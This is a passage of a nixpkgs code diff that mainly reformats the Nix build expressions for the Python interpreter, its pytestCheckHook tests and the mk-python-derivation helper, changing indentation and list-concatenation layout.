-      # since this diff, consider submitting this patch upstream!
-      ./freebsd-cross.patch
-    ]
-    ++ optionals (pythonOlder "3.13") [
-      # Make sure that the virtualenv activation scripts are
-      # owner-writable, so venvs can be recreated without permission
-      # errors.
-      ./virtualenv-permissions.patch
-    ]
-    ++ optionals (pythonAtLeast "3.13") [
-      ./3.13/virtualenv-permissions.patch
-    ]
-    ++ optionals mimetypesSupport [
-      # Make the mimetypes module refer to the right file
-      ./mimetypes.patch
-    ]
-    ++ optionals (pythonAtLeast "3.9" && pythonOlder "3.11" && stdenv.hostPlatform.isDarwin) [
-      # Stop checking for TCL/TK in global macOS locations
-      ./3.9/darwin-tcl-tk.patch
-    ]
-    ++ optionals (hasDistutilsCxxPatch && pythonOlder "3.12") [
-      # Fix for http://bugs.python.org/issue1222585
-      # Upstream distutils is calling C compiler to compile C++ code, which
-      # only works for GCC and Apple Clang. This makes distutils to call C++
-      # compiler when needed.
-      (
-        if pythonAtLeast "3.7" && pythonOlder "3.11" then
-          ./3.7/python-3.x-distutils-C++.patch
-        else if pythonAtLeast "3.11" then
-          ./3.11/python-3.x-distutils-C++.patch
-        else
-          fetchpatch {
-            url = "https://bugs.python.org/file48016/python-3.x-distutils-C++.patch";
-            sha256 = "1h18lnpx539h5lfxyk379dxwr8m2raigcjixkf133l4xy3f4bzi2";
-          }
-      )
-    ]
-    ++ optionals (pythonAtLeast "3.7" && pythonOlder "3.12") [
-      # LDSHARED now uses $CC instead of gcc. Fixes cross-compilation of extension modules.
-      ./3.8/0001-On-all-posix-systems-not-just-Darwin-set-LDSHARED-if.patch
-      # Use sysconfigdata to find headers. Fixes cross-compilation of extension modules.
-      ./3.7/fix-finding-headers-when-cross-compiling.patch
-    ]
-    ++ optionals (pythonOlder "3.12") [
-      # https://github.com/python/cpython/issues/90656
-      ./loongarch-support.patch
-      # fix failing tests with openssl >= 3.4
-      # https://github.com/python/cpython/pull/127361
-    ]
-    ++ optionals (pythonAtLeast "3.11" && pythonOlder "3.13") [
-      # backport fix for https://github.com/python/cpython/issues/95855
-      ./platform-triplet-detection.patch
-    ]
-    ++ optionals (stdenv.hostPlatform.isMinGW) (
-      let
-        # https://src.fedoraproject.org/rpms/mingw-python3
-        mingw-patch = fetchgit {
-          name = "mingw-python-patches";
-          url = "https://src.fedoraproject.org/rpms/mingw-python3.git";
-          rev = "3edecdbfb4bbf1276d09cd5e80e9fb3dd88c9511"; # for python 3.11.9 at the time of writing.
-          hash = "sha256-kpXoIHlz53+0FAm/fK99ZBdNUg0u13erOr1XP2FSkQY=";
-        };
-      in
-      (builtins.map (f: "${mingw-patch}/${f}") [
-        # The other patches in that repo are already applied to 3.11.10
-        "mingw-python3_distutils.patch"
-        "mingw-python3_frozenmain.patch"
-        "mingw-python3_make-sysconfigdata.py-relocatable.patch"
-        "mingw-python3_mods-failed.patch"
-        "mingw-python3_module-select.patch"
-        "mingw-python3_module-socket.patch"
-        "mingw-python3_modules.patch"
-        "mingw-python3_platform-mingw.patch"
-        "mingw-python3_posix-layout.patch"
-        "mingw-python3_pthread_threadid.patch"
-        "mingw-python3_pythonw.patch"
-        "mingw-python3_setenv.patch"
-        "mingw-python3_win-modules.patch"
-      ])
-    );
+  patches = [
+    # Disable the use of ldconfig in ctypes.util.find_library (since
+    # ldconfig doesn't work on NixOS), and don't use
+    # ctypes.util.find_library during the loading of the uuid module
+    # (since it will do a futile invocation of gcc (!) to find
+    # libuuid, slowing down program startup a lot).
+    noldconfigPatch
+  ]
+  ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform && stdenv.hostPlatform.isFreeBSD) [
+    # Cross compilation only supports a limited number of "known good"
+    # configurations. If you're reading this and it's been a long time
+    # since this diff, consider submitting this patch upstream!
+    ./freebsd-cross.patch
+  ]
+  ++ optionals (pythonOlder "3.13") [
+    # Make sure that the virtualenv activation scripts are
+    # owner-writable, so venvs can be recreated without permission
+    # errors.
+    ./virtualenv-permissions.patch
+  ]
+  ++ optionals (pythonAtLeast "3.13") [
+    ./3.13/virtualenv-permissions.patch
+  ]
+  ++ optionals mimetypesSupport [
+    # Make the mimetypes module refer to the right file
+    ./mimetypes.patch
+  ]
+  ++ optionals (pythonAtLeast "3.9" && pythonOlder "3.11" && stdenv.hostPlatform.isDarwin) [
+    # Stop checking for TCL/TK in global macOS locations
+    ./3.9/darwin-tcl-tk.patch
+  ]
+  ++ optionals (hasDistutilsCxxPatch && pythonOlder "3.12") [
+    # Fix for http://bugs.python.org/issue1222585
+    # Upstream distutils is calling C compiler to compile C++ code, which
+    # only works for GCC and Apple Clang. This makes distutils to call C++
+    # compiler when needed.
+    (
+      if pythonAtLeast "3.7" && pythonOlder "3.11" then
+        ./3.7/python-3.x-distutils-C++.patch
+      else if pythonAtLeast "3.11" then
+        ./3.11/python-3.x-distutils-C++.patch
+      else
+        fetchpatch {
+          url = "https://bugs.python.org/file48016/python-3.x-distutils-C++.patch";
+          sha256 = "1h18lnpx539h5lfxyk379dxwr8m2raigcjixkf133l4xy3f4bzi2";
+        }
+    )
+  ]
+  ++ optionals (pythonAtLeast "3.7" && pythonOlder "3.12") [
+    # LDSHARED now uses $CC instead of gcc. Fixes cross-compilation of extension modules.
+    ./3.8/0001-On-all-posix-systems-not-just-Darwin-set-LDSHARED-if.patch
+    # Use sysconfigdata to find headers. Fixes cross-compilation of extension modules.
+    ./3.7/fix-finding-headers-when-cross-compiling.patch
+  ]
+  ++ optionals (pythonOlder "3.12") [
+    # https://github.com/python/cpython/issues/90656
+    ./loongarch-support.patch
+    # fix failing tests with openssl >= 3.4
+    # https://github.com/python/cpython/pull/127361
+  ]
+  ++ optionals (pythonAtLeast "3.11" && pythonOlder "3.13") [
+    # backport fix for https://github.com/python/cpython/issues/95855
+    ./platform-triplet-detection.patch
+  ]
+  ++ optionals (stdenv.hostPlatform.isMinGW) (
+    let
+      # https://src.fedoraproject.org/rpms/mingw-python3
+      mingw-patch = fetchgit {
+        name = "mingw-python-patches";
+        url = "https://src.fedoraproject.org/rpms/mingw-python3.git";
+        rev = "3edecdbfb4bbf1276d09cd5e80e9fb3dd88c9511"; # for python 3.11.9 at the time of writing.
+        hash = "sha256-kpXoIHlz53+0FAm/fK99ZBdNUg0u13erOr1XP2FSkQY=";
+      };
+    in
+    (builtins.map (f: "${mingw-patch}/${f}") [
+      # The other patches in that repo are already applied to 3.11.10
+      "mingw-python3_distutils.patch"
+      "mingw-python3_frozenmain.patch"
+      "mingw-python3_make-sysconfigdata.py-relocatable.patch"
+      "mingw-python3_mods-failed.patch"
+      "mingw-python3_module-select.patch"
+      "mingw-python3_module-socket.patch"
+      "mingw-python3_modules.patch"
+      "mingw-python3_platform-mingw.patch"
+      "mingw-python3_posix-layout.patch"
+      "mingw-python3_pthread_threadid.patch"
+      "mingw-python3_pythonw.patch"
+      "mingw-python3_setenv.patch"
+      "mingw-python3_win-modules.patch"
+    ])
+  );
 
   postPatch =
     optionalString (!stdenv.hostPlatform.isWindows) ''
@@ -439,134 +438,132 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   # https://docs.python.org/3/using/configure.html
-  configureFlags =
-    [
-      "--without-ensurepip"
-      "--with-system-expat"
-      "--with-system-libmpdec"
-    ]
-    ++ optionals (openssl != null) [
-      "--with-openssl=${openssl.dev}"
-    ]
-    ++ optionals tzdataSupport [
-      "--with-tzpath=${tzdata}/share/zoneinfo"
-    ]
-    ++ optionals (execSuffix != "") [
-      "--with-suffix=${execSuffix}"
-    ]
-    ++ optionals enableLTO [
-      "--with-lto"
-    ]
-    ++ optionals (!static && !enableFramework) [
-      "--enable-shared"
-    ]
-    ++ optionals enableFramework [
-      "--enable-framework=${placeholder "out"}/Library/Frameworks"
-    ]
-    ++ optionals (pythonAtLeast "3.13") [
-      (enableFeature enableGIL "gil")
-    ]
-    ++ optionals enableOptimizations [
-      "--enable-optimizations"
-    ]
-    ++ optionals (sqlite != null) [
-      "--enable-loadable-sqlite-extensions"
-    ]
-    ++ optionals (libxcrypt != null) [
-      "CFLAGS=-I${libxcrypt}/include"
-      "LIBS=-L${libxcrypt}/lib"
-    ]
-    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "ac_cv_buggy_getaddrinfo=no"
-      # Assume little-endian IEEE 754 floating point when cross compiling
-      "ac_cv_little_endian_double=yes"
-      "ac_cv_big_endian_double=no"
-      "ac_cv_mixed_endian_double=no"
-      "ac_cv_x87_double_rounding=yes"
-      "ac_cv_tanh_preserves_zero_sign=yes"
-      # Generally assume that things are present and work
-      "ac_cv_posix_semaphores_enabled=yes"
-      "ac_cv_broken_sem_getvalue=no"
-      "ac_cv_wchar_t_signed=yes"
-      "ac_cv_rshift_extends_sign=yes"
-      "ac_cv_broken_nice=no"
-      "ac_cv_broken_poll=no"
-      "ac_cv_working_tzset=yes"
-      "ac_cv_have_long_long_format=yes"
-      "ac_cv_have_size_t_format=yes"
-      "ac_cv_computed_gotos=yes"
-      # Both fail when building for windows, normally configure checks this by itself but on other platforms this is set to yes always.
-      "ac_cv_file__dev_ptmx=${if stdenv.hostPlatform.isWindows then "no" else "yes"}"
-      "ac_cv_file__dev_ptc=${if stdenv.hostPlatform.isWindows then "no" else "yes"}"
-    ]
-    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform && pythonAtLeast "3.11") [
-      "--with-build-python=${pythonOnBuildForHostInterpreter}"
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      # Never even try to use lchmod on linux,
-      # don't rely on detecting glibc-isms.
-      "ac_cv_func_lchmod=no"
-    ]
-    ++ optionals static [
-      "LDFLAGS=-static"
-      "MODULE_BUILDTYPE=static"
-    ]
-    ++ optionals (stdenv.hostPlatform.isStatic && stdenv.hostPlatform.isMusl) [
-      # dlopen is a no-op in static musl builds, and since we build everything without -fPIC it's better not to pretend.
-      "ac_cv_func_dlopen=no"
-    ];
+  configureFlags = [
+    "--without-ensurepip"
+    "--with-system-expat"
+    "--with-system-libmpdec"
+  ]
+  ++ optionals (openssl != null) [
+    "--with-openssl=${openssl.dev}"
+  ]
+  ++ optionals tzdataSupport [
+    "--with-tzpath=${tzdata}/share/zoneinfo"
+  ]
+  ++ optionals (execSuffix != "") [
+    "--with-suffix=${execSuffix}"
+  ]
+  ++ optionals enableLTO [
+    "--with-lto"
+  ]
+  ++ optionals (!static && !enableFramework) [
+    "--enable-shared"
+  ]
+  ++ optionals enableFramework [
+    "--enable-framework=${placeholder "out"}/Library/Frameworks"
+  ]
+  ++ optionals (pythonAtLeast "3.13") [
+    (enableFeature enableGIL "gil")
+  ]
+  ++ optionals enableOptimizations [
+    "--enable-optimizations"
+  ]
+  ++ optionals (sqlite != null) [
+    "--enable-loadable-sqlite-extensions"
+  ]
+  ++ optionals (libxcrypt != null) [
+    "CFLAGS=-I${libxcrypt}/include"
+    "LIBS=-L${libxcrypt}/lib"
+  ]
+  ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "ac_cv_buggy_getaddrinfo=no"
+    # Assume little-endian IEEE 754 floating point when cross compiling
+    "ac_cv_little_endian_double=yes"
+    "ac_cv_big_endian_double=no"
+    "ac_cv_mixed_endian_double=no"
+    "ac_cv_x87_double_rounding=yes"
+    "ac_cv_tanh_preserves_zero_sign=yes"
+    # Generally assume that things are present and work
+    "ac_cv_posix_semaphores_enabled=yes"
+    "ac_cv_broken_sem_getvalue=no"
+    "ac_cv_wchar_t_signed=yes"
+    "ac_cv_rshift_extends_sign=yes"
+    "ac_cv_broken_nice=no"
+    "ac_cv_broken_poll=no"
+    "ac_cv_working_tzset=yes"
+    "ac_cv_have_long_long_format=yes"
+    "ac_cv_have_size_t_format=yes"
+    "ac_cv_computed_gotos=yes"
+    # Both fail when building for windows, normally configure checks this by itself but on other platforms this is set to yes always.
+    "ac_cv_file__dev_ptmx=${if stdenv.hostPlatform.isWindows then "no" else "yes"}"
+    "ac_cv_file__dev_ptc=${if stdenv.hostPlatform.isWindows then "no" else "yes"}"
+  ]
+  ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform && pythonAtLeast "3.11") [
+    "--with-build-python=${pythonOnBuildForHostInterpreter}"
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    # Never even try to use lchmod on linux,
+    # don't rely on detecting glibc-isms.
+    "ac_cv_func_lchmod=no"
+  ]
+  ++ optionals static [
+    "LDFLAGS=-static"
+    "MODULE_BUILDTYPE=static"
+  ]
+  ++ optionals (stdenv.hostPlatform.isStatic && stdenv.hostPlatform.isMusl) [
+    # dlopen is a no-op in static musl builds, and since we build everything without -fPIC it's better not to pretend.
+    "ac_cv_func_dlopen=no"
+  ];
 
-  preConfigure =
-    ''
-      # Attempt to purify some of the host info collection
-      sed -E -i -e 's/uname -r/echo/g' -e 's/uname -n/echo nixpkgs/g' config.guess
-      sed -E -i -e 's/uname -r/echo/g' -e 's/uname -n/echo nixpkgs/g' configure
-    ''
-    + optionalString (pythonOlder "3.12") ''
-      # Improve purity
-      for path in /usr /sw /opt /pkg; do
-        substituteInPlace ./setup.py --replace-warn $path /no-such-path
-      done
-    ''
-    + optionalString (stdenv.hostPlatform.isDarwin && pythonOlder "3.12") ''
-      # Fix _ctypes module compilation
-      export NIX_CFLAGS_COMPILE+=" -DUSING_APPLE_OS_LIBFFI=1"
-    ''
-    + optionalString stdenv.hostPlatform.isDarwin ''
-      # Override the auto-detection in setup.py, which assumes a universal build
-      export PYTHON_DECIMAL_WITH_MACHINE=${if stdenv.hostPlatform.isAarch64 then "uint128" else "x64"}
-      # Ensure that modern platform features are enabled on Darwin in spite of having no version suffix.
-      sed -E -i -e 's|Darwin/\[12\]\[0-9\]\.\*|Darwin/*|' configure
-    ''
-    + optionalString (pythonAtLeast "3.11") ''
-      # Also override the auto-detection in `configure`.
-      substituteInPlace configure \
-        --replace-fail 'libmpdec_machine=universal' 'libmpdec_machine=${
-          if stdenv.hostPlatform.isAarch64 then "uint128" else "x64"
-        }'
-    ''
-    + optionalString (stdenv.hostPlatform.isDarwin && x11Support && pythonAtLeast "3.11") ''
-      export TCLTK_LIBS="-L${tcl}/lib -L${tk}/lib -l${tcl.libPrefix} -l${tk.libPrefix}"
-      export TCLTK_CFLAGS="-I${tcl}/include -I${tk}/include"
-    ''
-    + optionalString stdenv.hostPlatform.isWindows ''
-      export NIX_CFLAGS_COMPILE+=" -Wno-error=incompatible-pointer-types"
-    ''
-    + optionalString stdenv.hostPlatform.isMusl ''
-      export NIX_CFLAGS_COMPILE+=" -DTHREAD_STACK_SIZE=0x100000"
-    ''
-    +
+  preConfigure = ''
+    # Attempt to purify some of the host info collection
+    sed -E -i -e 's/uname -r/echo/g' -e 's/uname -n/echo nixpkgs/g' config.guess
+    sed -E -i -e 's/uname -r/echo/g' -e 's/uname -n/echo nixpkgs/g' configure
+  ''
+  + optionalString (pythonOlder "3.12") ''
+    # Improve purity
+    for path in /usr /sw /opt /pkg; do
+      substituteInPlace ./setup.py --replace-warn $path /no-such-path
+    done
+  ''
+  + optionalString (stdenv.hostPlatform.isDarwin && pythonOlder "3.12") ''
+    # Fix _ctypes module compilation
+    export NIX_CFLAGS_COMPILE+=" -DUSING_APPLE_OS_LIBFFI=1"
+  ''
+  + optionalString stdenv.hostPlatform.isDarwin ''
+    # Override the auto-detection in setup.py, which assumes a universal build
+    export PYTHON_DECIMAL_WITH_MACHINE=${if stdenv.hostPlatform.isAarch64 then "uint128" else "x64"}
+    # Ensure that modern platform features are enabled on Darwin in spite of having no version suffix.
+    sed -E -i -e 's|Darwin/\[12\]\[0-9\]\.\*|Darwin/*|' configure
+  ''
+  + optionalString (pythonAtLeast "3.11") ''
+    # Also override the auto-detection in `configure`.
+    substituteInPlace configure \
+      --replace-fail 'libmpdec_machine=universal' 'libmpdec_machine=${
+        if stdenv.hostPlatform.isAarch64 then "uint128" else "x64"
+      }'
+  ''
+  + optionalString (stdenv.hostPlatform.isDarwin && x11Support && pythonAtLeast "3.11") ''
+    export TCLTK_LIBS="-L${tcl}/lib -L${tk}/lib -l${tcl.libPrefix} -l${tk.libPrefix}"
+    export TCLTK_CFLAGS="-I${tcl}/include -I${tk}/include"
+  ''
+  + optionalString stdenv.hostPlatform.isWindows ''
+    export NIX_CFLAGS_COMPILE+=" -Wno-error=incompatible-pointer-types"
+  ''
+  + optionalString stdenv.hostPlatform.isMusl ''
+    export NIX_CFLAGS_COMPILE+=" -DTHREAD_STACK_SIZE=0x100000"
+  ''
+  +
 
-      # enableNoSemanticInterposition essentially sets that CFLAG -fno-semantic-interposition
-      # which changes how symbols are looked up. This essentially means we can't override
-      # libpython symbols via LD_PRELOAD anymore. This is common enough as every build
-      # that uses --enable-optimizations has the same "issue".
-      #
-      # The Fedora wiki has a good article about their journey towards enabling this flag:
-      # https://fedoraproject.org/wiki/Changes/PythonNoSemanticInterpositionSpeedup
-      optionalString enableNoSemanticInterposition ''
-        export CFLAGS_NODIST="-fno-semantic-interposition"
-      '';
+    # enableNoSemanticInterposition essentially sets that CFLAG -fno-semantic-interposition
+    # which changes how symbols are looked up. This essentially means we can't override
+    # libpython symbols via LD_PRELOAD anymore. This is common enough as every build
+    # that uses --enable-optimizations has the same "issue".
+    #
+    # The Fedora wiki has a good article about their journey towards enabling this flag:
+    # https://fedoraproject.org/wiki/Changes/PythonNoSemanticInterpositionSpeedup
+    optionalString enableNoSemanticInterposition ''
+      export CFLAGS_NODIST="-fno-semantic-interposition"
+    '';
 
   setupHook = python-setup-hook sitePackages;
 
diff --git a/pkgs/development/interpreters/python/hooks/default.nix b/pkgs/development/interpreters/python/hooks/default.nix
index 0a211850b2f4..b3c97de30317 100644
--- a/pkgs/development/interpreters/python/hooks/default.nix
+++ b/pkgs/development/interpreters/python/hooks/default.nix
@@ -168,7 +168,8 @@ in
             pname = "test-pytestCheckHook-disabledTests-${previousPythonAttrs.pname}";
             disabledTests = [
               "test_print"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
           });
           disabledTests-expression = objprint.overridePythonAttrs (previousPythonAttrs: {
             __structuredAttrs = true;
@@ -176,47 +177,54 @@ in
             disabledTests = [
               "TestBasic and test_print"
               "test_str"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
           });
           disabledTestPaths = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-disabledTestPaths-${previousPythonAttrs.pname}";
             disabledTestPaths = [
               "tests/test_basic.py"
-            ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTestPaths or [ ];
           });
           disabledTestPaths-nonexistent = testers.testBuildFailure (
             objprint.overridePythonAttrs (previousPythonAttrs: {
               pname = "test-pytestCheckHook-disabledTestPaths-nonexistent-${previousPythonAttrs.pname}";
               disabledTestPaths = [
                 "tests/test_foo.py"
-              ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+              ]
+              ++ previousPythonAttrs.disabledTestPaths or [ ];
             })
           );
           disabledTestPaths-item = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-disabledTestPaths-item-${previousPythonAttrs.pname}";
             disabledTestPaths = [
               "tests/test_basic.py::TestBasic"
-            ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTestPaths or [ ];
           });
           disabledTestPaths-glob = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-disabledTestPaths-glob-${previousPythonAttrs.pname}";
             disabledTestPaths = [
               "tests/test_obj*.py"
-            ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTestPaths or [ ];
           });
           disabledTestPaths-glob-nonexistent = testers.testBuildFailure (
             objprint.overridePythonAttrs (previousPythonAttrs: {
               pname = "test-pytestCheckHook-disabledTestPaths-glob-nonexistent-${previousPythonAttrs.pname}";
               disabledTestPaths = [
                 "tests/test_foo*.py"
-              ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+              ]
+              ++ previousPythonAttrs.disabledTestPaths or [ ];
             })
           );
           enabledTests = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTests-${previousPythonAttrs.pname}";
             enabledTests = [
               "TestBasic"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
           });
           enabledTests-expression = objprint.overridePythonAttrs (previousPythonAttrs: {
             __structuredAttrs = true;
@@ -224,65 +232,76 @@ in
             enabledTests = [
               "TestBasic and test_print"
               "test_str"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
           });
           enabledTests-disabledTests = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTests-disabledTests-${previousPythonAttrs.pname}";
             enabledTests = [
               "TestBasic"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
             disabledTests = [
               "test_print"
-            ] ++ previousPythonAttrs.disabledTests or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTests or [ ];
           });
           enabledTestPaths = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTestPaths-${previousPythonAttrs.pname}";
             enabledTestPaths = [
               "tests/test_basic.py"
-            ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.enabledTestPaths or [ ];
           });
           enabledTestPaths-nonexistent = testers.testBuildFailure (
             objprint.overridePythonAttrs (previousPythonAttrs: {
               pname = "test-pytestCheckHook-enabledTestPaths-nonexistent-${previousPythonAttrs.pname}";
               enabledTestPaths = [
                 "tests/test_foo.py"
-              ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+              ]
+              ++ previousPythonAttrs.enabledTestPaths or [ ];
             })
           );
           enabledTestPaths-dir = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTestPaths-dir-${previousPythonAttrs.pname}";
             enabledTestPaths = [
               "tests"
-            ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.enabledTestPaths or [ ];
           });
           enabledTestPaths-dir-disabledTestPaths = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTestPaths-dir-disabledTestPaths-${previousPythonAttrs.pname}";
             enabledTestPaths = [
               "tests"
-            ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.enabledTestPaths or [ ];
             disabledTestPaths = [
               "tests/test_basic.py"
-            ] ++ previousPythonAttrs.disabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.disabledTestPaths or [ ];
           });
           enabledTestPaths-glob = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTestPaths-glob-${previousPythonAttrs.pname}";
             enabledTestPaths = [
               "tests/test_obj*.py"
-            ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.enabledTestPaths or [ ];
           });
           enabledTestPaths-glob-nonexistent = testers.testBuildFailure (
             objprint.overridePythonAttrs (previousPythonAttrs: {
               pname = "test-pytestCheckHook-enabledTestPaths-glob-nonexistent-${previousPythonAttrs.pname}";
               enabledTestPaths = [
                 "tests/test_foo*.py"
-              ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+              ]
+              ++ previousPythonAttrs.enabledTestPaths or [ ];
             })
           );
           enabledTestPaths-item = objprint.overridePythonAttrs (previousPythonAttrs: {
             pname = "test-pytestCheckHook-enabledTestPaths-item-${previousPythonAttrs.pname}";
             enabledTestPaths = [
               "tests/test_basic.py::TestBasic"
-            ] ++ previousPythonAttrs.enabledTestPaths or [ ];
+            ]
+            ++ previousPythonAttrs.enabledTestPaths or [ ];
           });
         };
       };
diff --git a/pkgs/development/interpreters/python/mk-python-derivation.nix b/pkgs/development/interpreters/python/mk-python-derivation.nix
index 8c441dfcf28d..bca6a7b9b364 100644
--- a/pkgs/development/interpreters/python/mk-python-derivation.nix
+++ b/pkgs/development/interpreters/python/mk-python-derivation.nix
@@ -286,86 +286,85 @@ let
 
       inherit catchConflicts;
 
-      nativeBuildInputs =
-        [
-          python
-          wrapPython
-          ensureNewerSourcesForZipFilesHook # move to wheel installer (pip) or builder (setuptools, flit, ...)?
-          pythonRemoveTestsDirHook
-        ]
-        ++ optionals (finalAttrs.catchConflicts && !isBootstrapPackage && !isSetuptoolsDependency) [
-          #
-          # 1. When building a package that is also part of the bootstrap chain, we
-          #    must ignore conflicts after installation, because there will be one with
-          #    the package in the bootstrap.
-          #
-          # 2. When a package is a dependency of setuptools, we must ignore conflicts
-          #    because the hook that checks for conflicts uses setuptools.
-          #
-          pythonCatchConflictsHook
-        ]
-        ++ optionals (attrs ? pythonRelaxDeps || attrs ? pythonRemoveDeps) [
-          pythonRelaxDepsHook
-        ]
-        ++ optionals removeBinBytecode [
-          pythonRemoveBinBytecodeHook
-        ]
-        ++ optionals (hasSuffix "zip" (attrs.src.name or "")) [
-          unzip
-        ]
-        ++ optionals (format' == "setuptools") [
-          setuptoolsBuildHook
-        ]
-        ++ optionals (format' == "pyproject") [
-          (
-            if isBootstrapPackage then
-              pypaBuildHook.override {
-                inherit (python.pythonOnBuildForHost.pkgs.bootstrap) build;
-                wheel = null;
-              }
-            else
-              pypaBuildHook
-          )
-          (
-            if isBootstrapPackage then
-              pythonRuntimeDepsCheckHook.override {
-                inherit (python.pythonOnBuildForHost.pkgs.bootstrap) packaging;
-              }
-            else
-              pythonRuntimeDepsCheckHook
-          )
-        ]
-        ++ optionals (format' == "wheel") [
-          wheelUnpackHook
-        ]
-        ++ optionals (format' == "egg") [
-          eggUnpackHook
-          eggBuildHook
-          eggInstallHook
-        ]
-        ++ optionals (format' != "other") [
-          (
-            if isBootstrapInstallPackage then
-              pypaInstallHook.override {
-                inherit (python.pythonOnBuildForHost.pkgs.bootstrap) installer;
-              }
-            else
-              pypaInstallHook
-          )
-        ]
-        ++ optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
-          # This is a test, however, it should be ran independent of the checkPhase and checkInputs
-          pythonImportsCheckHook
-        ]
-        ++ optionals (python.pythonAtLeast "3.3") [
-          # Optionally enforce PEP420 for python3
-          pythonNamespacesHook
-        ]
-        ++ optionals withDistOutput [
-          pythonOutputDistHook
-        ]
-        ++ nativeBuildInputs
-        ++ build-system;
+      nativeBuildInputs = [
+        python
+        wrapPython
+        ensureNewerSourcesForZipFilesHook # move to wheel installer (pip) or builder (setuptools, flit, ...)?
+        pythonRemoveTestsDirHook
+      ]
+      ++ optionals (finalAttrs.catchConflicts && !isBootstrapPackage && !isSetuptoolsDependency) [
+        #
+        # 1. When building a package that is also part of the bootstrap chain, we
+        #    must ignore conflicts after installation, because there will be one with
+        #    the package in the bootstrap.
+        #
+        # 2. When a package is a dependency of setuptools, we must ignore conflicts
+        #    because the hook that checks for conflicts uses setuptools.
+        #
+        pythonCatchConflictsHook
+      ]
+      ++ optionals (attrs ? pythonRelaxDeps || attrs ? pythonRemoveDeps) [
+        pythonRelaxDepsHook
+      ]
+      ++ optionals removeBinBytecode [
+        pythonRemoveBinBytecodeHook
+      ]
+      ++ optionals (hasSuffix "zip" (attrs.src.name or "")) [
+        unzip
+      ]
+      ++ optionals (format' == "setuptools") [
+        setuptoolsBuildHook
+      ]
+      ++ optionals (format' == "pyproject") [
+        (
+          if isBootstrapPackage then
+            pypaBuildHook.override {
+              inherit (python.pythonOnBuildForHost.pkgs.bootstrap) build;
+              wheel = null;
+            }
+          else
+            pypaBuildHook
+        )
+        (
+          if isBootstrapPackage then
+            pythonRuntimeDepsCheckHook.override {
+              inherit (python.pythonOnBuildForHost.pkgs.bootstrap) packaging;
+            }
+          else
+            pythonRuntimeDepsCheckHook
+        )
+      ]
+      ++ optionals (format' == "wheel") [
+        wheelUnpackHook
+      ]
+      ++ optionals (format' == "egg") [
+        eggUnpackHook
+        eggBuildHook
+        eggInstallHook
+      ]
+      ++ optionals (format' != "other") [
+        (
+          if isBootstrapInstallPackage then
+            pypaInstallHook.override {
+              inherit (python.pythonOnBuildForHost.pkgs.bootstrap) installer;
+            }
+          else
+            pypaInstallHook
+        )
+      ]
+      ++ optionals (stdenv.buildPlatform == stdenv.hostPlatform) [
+        # This is a test, however, it should be ran independent of the checkPhase and checkInputs
+        pythonImportsCheckHook
+      ]
+      ++ optionals (python.pythonAtLeast "3.3") [
+        # Optionally enforce PEP420 for python3
+        pythonNamespacesHook
+      ]
+      ++ optionals withDistOutput [
+        pythonOutputDistHook
+      ]
+      ++ nativeBuildInputs
+      ++ build-system;
 
       buildInputs = validatePythonMatches "buildInputs" (buildInputs ++ pythonPath);
 
@@ -405,36 +404,36 @@ let
 
       outputs = outputs ++ optional withDistOutput "dist";
 
-      passthru =
-        {
-          inherit disabled;
-        }
-        // {
-          updateScript =
-            let
-              filename = head (splitString ":" finalAttrs.finalPackage.meta.position);
-            in
-            [
-              update-python-libraries
-              filename
-            ];
-        }
-        // optionalAttrs (dependencies != [ ]) {
-          inherit dependencies;
-        }
-        // optionalAttrs (optional-dependencies != { }) {
-          inherit optional-dependencies;
-        }
-        // optionalAttrs (build-system != [ ]) {
-          inherit build-system;
-        }
-        // attrs.passthru or { };
+      passthru = {
+        inherit disabled;
+      }
+      // {
+        updateScript =
+          let
+            filename = head (splitString ":" finalAttrs.finalPackage.meta.position);
+          in
+          [
+            update-python-libraries
+            filename
+          ];
+      }
+      // optionalAttrs (dependencies != [ ]) {
+        inherit dependencies;
